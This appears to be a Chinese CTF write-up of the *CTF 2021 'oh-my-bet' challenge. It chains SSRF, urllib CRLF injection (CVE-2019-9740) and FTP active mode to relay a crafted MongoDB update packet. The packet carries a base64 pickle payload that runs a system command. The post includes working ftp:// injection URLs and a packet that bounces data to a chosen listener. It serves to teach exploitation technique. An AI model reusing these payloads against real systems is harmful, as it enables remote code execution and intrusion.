SSRF&FTP主动模式
2021-01-21   # 奇技淫巧

前言

上周 *CTF 2021 中碰一题很有意思的 web 题 oh-my-bet 这里记录一下思路。

题目是 flask 的并且存在 ssrf 漏洞,并且存在 CRLF 注入 CVE-2019-9740
https://bugs.python.org/issue36276
关键代码
content = base64.b64encode(urllib.request.urlopen(path).read())

内网中存在 ftp 、mongodb、redis 服务,题目明确指出与redis 无关。

其中 flask 的session 是存在 mongodb的,而flask_session使用的serializer默认是pickle,也就是说只要能将恶意pickle数据塞到mongodb里就可以了就可以触发python反序列化执行任意命令。
类似于 P牛这篇文章 https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
不同的是本题是 mongodb
能直接通过 ssrf 向mangodb 写数据吗?搜了很久也没有搜到相关的文章。最后队里的一个师傅说可以通过 ftp 的主动模式去打 mongodb。

ftp 的主动模式

主动模式的FTP工作原理:客户端从一个任意的非特权端口N连接到FTP服务器的命令端口,也就是21端口。然后客 户端开始监听端口N+1,并发送FTP命令“port N+1”到FTP服务器。接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。

简单的说就是客户端随意起一个大于1024端口去连服务器的21端口,然后发送ip 和端口告诉ftp服务器我已经准备好数据连接了,ftp服务器接收到消息后用自己的20端口去连接客户端并发送或者接收数据。
所以在主动模式下我们可以让ftp去指定的ip端口下获取文件数据,将ftp服务器上的文件发送到指定ip端口。

抓包测试一下,使用主动模式连接 ftp 服务器,登入后输入命令 dir 查看目录

数据包:

第一部分为登入的流量

第二部分 客户端的 54003 端口向 ftp服务器 的21 端口发送命令 PORT 192,168,138,1,211,84
告诉ftp服务器主动向我们指定的 ip 端口建立连接,这里ip端口的格式为Ip的四个部分以, 分割,端口则需要换算成这种格式 port/256, port - 向下取整(port/256)*256

192,168,138,1,211,84 => 192.168.138.1:54100

第三部分,客户端的54003端口向 ftp服务器的21端口发送 dir(LIST) 命令,ftp 服务器收到命令请求后将执行结果主动的发到前边制定的192.168.138.1:54100

上传文件和下载文件也是一样的
上传文件 客户端向服务端发送 PORT 192,168,138,1,231,165 指定ip端口,接着发送上传文件的请求 STOR /Users/weik1/Data/ftptest/1.txt ,ftp 服务端收到命令后向 192,168,138,1,231,165 建立连接下载数据。

220 Microsoft FTP Service
USER wEik1
331 Password required
PASS password
230 User logged in.
PORT 192,168,138,1,231,165
200 PORT command successful.
STOR /Users/weik1/Data/ftptest/1.txt
550 The system cannot find the path specified. 

下载文件就是ftp 服务器将文件发送到客户端指定的ip端口。

主动模式在 ssrf 中的利用

回到题目,需要利用 ftp 的主动模式去打 mongodb 向 mongodb 发起一个 update 请求,修改数据库里的 session 序列化数据。
我们将 mongodb 的 update 数据包上传到 ftp 服务器上,再利用ftp 服务器主动模式下载文件的机制将数据包发送到 mongodb 服务器指定的端口下。

找不到比赛的环境了构建一个简单的dome

import sys
import urllib
import urllib.error
import urllib.request
try:
    info = urllib.request.urlopen(url).read()
    print(info)
except urllib.error.URLError as e:
    print(e)

构造 mongodb 的 update 数据包

HgEAAHoAAAAAAAAA3QcAAAAAAAABsQAAAGRvY3VtZW50cwCjAAAAB19pZABgAuHfVOiCa1hXwXICaWQALQAAAHNlc3Npb246MTcwYzA2MGUtYTI1OC00MzBkLTgzZDMtMjMxYTI3NDhiYzNwAAV2YWwAOgAAAACAA2Nwb3NpeApzeXN0ZW0KcQBYGgAAAC9yZWFkZmxhZyA+IC90bXAvYWFhYWFhYWFhcQGFcQJScQMuCWV4cGlyYXRpb24A/NHor3cBAAAAAFcAAAACaW5zZXJ0AAkAAABzZXNzaW9ucwAIb3JkZXJlZAABA2xzaWQAHgAAAAVpZAAQAAAABMuWVy4mw045rDMXu79vXg4AAiRkYgAGAAAAYWRtaW4AAA==

用 nc 将 数据包挂在7777 端口

利用ssrf + CRLF 注入 向ftp 服务器发送命令

TYPE A //数据类型为 ASCII码
PORT 192,168,138,1,30,97  /指定ip端口 192.168.138.129:7777
STOR session //将数据存储为文件 session

具体的命令

payload:
ftp://wEik1:password\r\nTYPE A\r\nPORT 192,168,138,1,30,97\r\nSTOR session@192.168.138.129/


数据包:

成功将文件上传到 ftp 服务器

接着就是将ftp 服务器上的session 文件 发送到mongodb服务的端口上,这里因为没有环境,直接用nc 监听一下模拟一个mongodb服务。
继续监听 7777端口(懒的用别的端口了还得算)
向ftp 服务器发送命令

PORT 192,168,138,1,30,97  //指定ip端口 192.168.138.1:7777
RETR session  //发送session 文件也就是将session 文件内容发到 192.168.138.1 的7777端口

payload:
ftp://wEik1:password\r\nTYPE A\r\nPORT 192,168,138,1,30,97\r\nRETR session@192.168.138.129/

数据包:

成功接收到数据